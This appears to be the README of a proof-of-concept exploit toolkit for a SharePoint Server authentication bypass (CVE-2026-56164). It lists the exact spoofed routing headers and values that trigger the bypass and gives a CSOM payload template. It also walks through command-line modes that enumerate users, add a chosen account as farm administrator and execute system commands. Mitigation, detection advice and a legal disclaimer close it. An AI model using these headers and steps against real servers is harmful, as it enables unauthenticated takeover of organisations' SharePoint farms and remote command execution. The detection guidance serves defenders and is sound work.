CVE-2026-56164 — Microsoft SharePoint Server Authentication Bypass Exploit

Critical (CVSS 9.8) — Unauthenticated Privilege Escalation to Farm Administrator in Microsoft SharePoint Server

Overview
Vulnerability Details
Affected Versions
Architecture Diagrams
Project Structure
Installation
Scanner Usage — Step by Step
Exploit Usage — Step by Step
Payload Design
Mitigation
Disclaimer

Overview

CVE-2026-56164 is a critical missing authentication vulnerability in Microsoft SharePoint Server that allows an unauthenticated remote attacker to elevate privileges to Farm Administrator level. The vulnerability resides in the Microsoft.Office.Server.UserProfiles assembly which processes SOAP requests at /_vti_bin/client.svc/ProcessQuery.

By intentionally omitting the X-RequestDigest header and supplying specific routing headers, the vulnerable server falls back to an elevated security context instead of rejecting the unauthenticated request. This allows anonymous attackers to enumerate site collections, users, farm configuration, add administrators, and execute commands.

CISA KEV: This vulnerability is listed in CISA's Known Exploited Vulnerabilities Catalog due to active exploitation in the wild.

Vulnerability Details

Root Cause

The Microsoft.Office.Server.UserProfiles handler processes SOAP requests at /_vti_bin/client.svc/ProcessQuery. Under normal operations, SharePoint validates the X-RequestDigest header to assert authentication context. However, a validation bypass exists:

If X-RequestDigest is absent AND specific routing headers are present
The system evaluates routing parameters and falls back to a highly privileged default state
The request is processed with system-level credentials instead of the caller's security context

Vulnerable Code Path

// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
    // Bypasses standard identity validation → elevated admin session
    InitializeElevatedSecurityContext(context);
} else {
    ValidateRequestDigest(digest);  // Normal path
}

Patched Code

// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
    context.Response.StatusCode = 401;
    throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);

Advisory References

MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-56164
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56164

Affected Versions

Product	Affected Versions	Patched Version
SharePoint Enterprise Server 2016	All 16.0.x prior to patch	16.0.5561.1001
SharePoint Server 2019	All 16.0.x prior to patch	16.0.10417.20175

Not impacted: SharePoint Online (Microsoft 365)

Architecture Diagrams

System Architecture

┌─────────────────────────────────────────────────────────────────────┐
│                   CVE-2026-56164 Exploit Toolkit                     │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌────────────┐     ┌─────────────────┐     ┌────────────────────┐  │
│  │  scan.py   │────▶│  HTTP Fingerprint│     │  payload_gen.py    │  │
│  │  Scanner   │     │  + Version Check │     │                    │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ CSOM Payloads│  │  │
│         │  Reports:                         │  │ (detection,  │  │  │
│         │  • SharePoint detected?           │  │  enum,       │  │  │
│         │  • Server version                 │  │  elevate,    │  │  │
│         │  • Vulnerable?                    │  │  execute)    │  │  │
│         │  • Auth bypass confirmed?         │  └──────────────┘  │  │
│         ▼                                   │  ┌──────────────┐  │  │
│  ┌────────────┐     ┌─────────────────┐     │  │ SOAP Payloads│  │  │
│  │ exploit.py │────▶│  HTTP Request   │     │  │ (admin, exec)│  │  │
│  │  Exploit   │     │  Delivery       │     │  └──────────────┘  │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ Bypass       │  │  │
│         │  ┌──────────────────────┐         │  │ Headers      │  │  │
│         ├─▶│ MODE: detect         │         │  │ (routing)    │  │  │
│         │  │ Safe, non-intrusive  │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         │  ┌──────────────┐  │  │
│         │  ┌──────────────────────┐         │  │ HTTP Request │  │  │
│         ├─▶│ MODE: enumerate      │         │  │ Builder      │  │  │
│         │  │ Sites, users, config │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         └────────────────────┘  │
│         │  ┌──────────────────────┐                                 │
│         ├─▶│ MODE: elevate        │     ┌──────────────────────┐    │
│         │  │ Add site/farm admin  │     │ Target SharePoint    │    │
│         │  └──────────────────────┘     │ /_vti_bin/client.svc │    │
│         │  ┌──────────────────────┐     │ /_vti_bin/SPAdmin    │    │
│         └─▶│ MODE: execute        │     └──────────────────────┘    │
│            │ System commands      │                                 │
│            └──────────────────────┘                                 │
│         │  ┌──────────────────────┐                                 │
│         └─▶│ MODE: full           │  detect→enum→elevate→execute    │
│            └──────────────────────┘                                 │
└─────────────────────────────────────────────────────────────────────┘

Scanner Flow

┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip       │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443)           │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ SharePoint       │──────────▶│ Not SP      │
│ fingerprint?     │            └─────────────┘
│ (MSST header,    │
│  _vti_bin,       │
│  suitebar, etc.) │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract version  │
│ from MSST header │
│ / response body  │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o    │
│  digest + bypass │
│  headers)        │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Bypass status  │
│ • SSL cert info  │
└──────────────────┘

Exploit Flow (Full Chain)

┌──────────────────────────────────────────────────────────────────┐
│  FULL EXPLOIT CHAIN                                              │
│                                                                  │
│  1. Detect — Authentication Bypass                               │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/client.svc/ProcessQuery                  │   │
│  │  [NO X-RequestDigest]                                    │   │
│  │  X-SharePoint-Authenticated: 1                           │   │
│  │  X-SP-RequestRights: FullControl                         │   │
│  │  SPHomeBearerHint: farmadmin                             │   │
│  │  Body: CSOM detection payload                            │   │
│  │                                                          │   │
│  │  → If 200: AUTH BYPASS CONFIRMED                         │   │
│  │  → If 401: Not vulnerable                                │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  2. Enumerate            ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  Enumerate site collections (URL, owner, status)         │   │
│  │  Enumerate users (account, display name, email, admin)   │   │
│  │  Retrieve farm config (DB name, server, farm ID)         │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  3. Elevate             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  SetIsSiteAdmin(true) → Current context = Site Admin     │   │
│  │  AddUserToWeb → Add specific user as Farm Administrator  │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  4. Execute             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/SharePointAdmin.asmx                     │   │
│  │  Body: ExecuteCommand SOAP payload                       │   │
│  │  → System command executed with farm-level privileges    │   │
│  └──────────────────────────────────────────────────────────┘   │
└──────────────────────────────────────────────────────────────────┘

Project Structure

POC-CVE-2026-56164-exploit/
├── payload_gen.py      # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py             # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py          # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt    # Python dependencies
└── README.md           # This file

Installation

# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit

# Install dependencies
pip3 install -r requirements.txt

Requirements: Python 3.8+, requests library (optional — stdlib urllib is used by default).

Scanner Usage — Step by Step

The scanner performs safe, non-intrusive checks to identify vulnerable SharePoint Server targets.

Step 1: Scan a Single Target

python3 scan.py --target sharepoint.example.com

The scanner will:

Probe common ports (443, 80, 8080, 8443)
Send HTTP requests and check for SharePoint fingerprints (headers, body content)
Extract SharePoint version from MicrosoftSharePointTeamServices header
Check if the version falls within vulnerable ranges
Test the authentication bypass (optional)
Print a color-coded report

Step 2: Scan with Specific Port

python3 scan.py --target sharepoint.example.com --port 443

Step 3: Scan Multiple Targets from File

Create a file targets.txt:

sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored

python3 scan.py --targets targets.txt

Step 4: Skip Bypass Testing (Fingerprint Only)

python3 scan.py --target sharepoint.example.com --no-bypass-test

Step 5: Save Results as JSON

python3 scan.py --target sharepoint.example.com --json scan_results.json

What the Scanner Detects

Exploit Usage — Step by Step

The exploit supports five modes of increasing intensity.

Mode 1: Detect (Safe, Non-Intrusive)

Tests the authentication bypass by comparing a normal request (with digest) to a bypass request (without digest + routing headers).

python3 exploit.py --target sharepoint.example.com --mode detect

Mode 2: Enumerate (Information Disclosure)

Extracts site collections, users, and farm configuration using the auth bypass.

python3 exploit.py --target sharepoint.example.com --mode enumerate

Mode 3: Elevate (Privilege Escalation)

Elevates the current anonymous context or a specific user to Site Collection / Farm Administrator.

# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate

# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"

Mode 4: Execute (Command Execution)

Executes a system command via the SharePoint Administration SOAP service.

python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"

Mode 5: Full Chain (Detect → Enumerate → Elevate → Execute)

Runs the complete exploit chain in sequence.

python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"

Common Options

--port / -p: Target port (default: 443)
--http: Use HTTP instead of HTTPS
--site-url / -s: SharePoint site URL (default: target)
--json / -j: Save report as JSON
--timeout: Request timeout in seconds (default: 30)

Payload Design

Authentication Bypass Mechanism

┌─────────────────────────────────────────────────────────────────┐
│  HTTP Request to /_vti_bin/client.svc/ProcessQuery             │
├─────────────────────────────────────────────────────────────────┤
│  POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1              │
│  Host: sharepoint.example.com                                  │
│  Content-Type: text/xml; charset=utf-8                         │
│  [X-RequestDigest: OMITTED]                                    │
│  X-SharePoint-Authenticated: 1                                 │
│  X-SP-RequestRights: FullControl                               │
│  X-SP-RequestRights2: ManageLists, ManageWeb                   │
│  SPHomeBearerHint: farmadmin                                   │
│  X-RequestForceAuthentication: false                           │
│  X-SP-Proxy: internal                                          │
│  X-Forwarded-For: 127.0.0.1                                    │
│  X-Original-URL: /_vti_bin/client.svc/ProcessQuery             │
│                                                                 │
│  [CSOM/SOAP Payload Body]                                      │
└─────────────────────────────────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────────────┐
│  Vulnerable SharePoint Server                                   │
│                                                                 │
│  1. digest = Headers["X-RequestDigest"]  → NULL                │
│  2. CheckSpecialRoutingHeaders(context)  → TRUE (≥3 headers)   │
│  3. InitializeElevatedSecurityContext()  → FARM ADMIN          │
│  4. Process SOAP request with system-level credentials          │
└─────────────────────────────────────────────────────────────────┘

CSOM Payload Structure

<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
         ApplicationName="SharePointExploit"
         LibraryVersion="16.0.0"
         RequestId="{UUID}">
  <Actions>
    [Detection / Enumeration / Elevation actions]
  </Actions>
  <Context>
    <ContextId>Current</ContextId>
    <Version>16.0.0</Version>
    <SiteUrl>{TARGET}</SiteUrl>
  </Context>
</Request>

Bypass Routing Headers

Mitigation

Immediate Actions

Apply Microsoft security updates — Install the July 2026 SharePoint patches
Restrict access — Limit SharePoint endpoints to trusted networks only
Block external access to /_vti_bin/ endpoints via reverse proxy/WAF rules
Monitor logs for unauthenticated requests to /_vti_bin/client.svc/ProcessQuery

Fixed Versions

SharePoint Enterprise Server 2016: 16.0.5561.1001+
SharePoint Server 2019: 16.0.10417.20175+
SharePoint Server Subscription Edition: 16.0.19725.20434+

Detection

Look for POST requests to /_vti_bin/client.svc/ProcessQuery without X-RequestDigest header
Look for requests with multiple bypass routing headers (X-SharePoint-Authenticated, SPHomeBearerHint, etc.)
Monitor for unexpected Site Collection Administrator additions
Alert on SOAP requests to /_vti_bin/SharePointAdmin.asmx from unauthenticated sources

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Only use against systems you own or have explicit written permission to test. Unauthorized use against production systems is illegal and may violate computer fraud and abuse laws.

The authors assume no liability for misuse of this tool. Always follow responsible disclosure practices and adhere to applicable laws and regulations.

CVE ID	CVE-2026-56164
Severity	CRITICAL
CVSS 3.1	9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE	CWE-306: Missing Authentication for Critical Function
Impact	Unauthenticated Elevation of Privilege to Farm Administrator
Exploitation Status	Active exploitation (CISA KEV)
MITRE ATT&CK	T1190 (Exploit Public-Facing Application)

SharePoint Server	HTTP header fingerprinting (`MicrosoftSharePointTeamServices`, `SPRequestGuid`)
Server version	Header parsing + response body regex
Vulnerable version	Comparison against CVE-2026-56164 patched versions
Auth bypass	CSOM request without `X-RequestDigest` + bypass routing headers
SSL certificate	Certificate subject/issuer for target identification

`X-SharePoint-Authenticated`	`1`	Claim authentication already passed
`X-SP-RequestRights`	`FullControl`	Request full control permissions
`X-SP-RequestRights2`	`ManageLists, ManageWeb`	Additional management rights
`SPHomeBearerHint`	`farmadmin`	Hint at farm admin context
`X-RequestForceAuthentication`	`false`	Disable forced authentication
`X-SP-Proxy`	`internal`	Claim internal proxy origin
`X-Forwarded-For`	`127.0.0.1`	Spoof local origin
`X-Original-URL`	`/_vti_bin/client.svc/ProcessQuery`	Routing directive

Most Popular

POC-CVE-2026-56164-exploit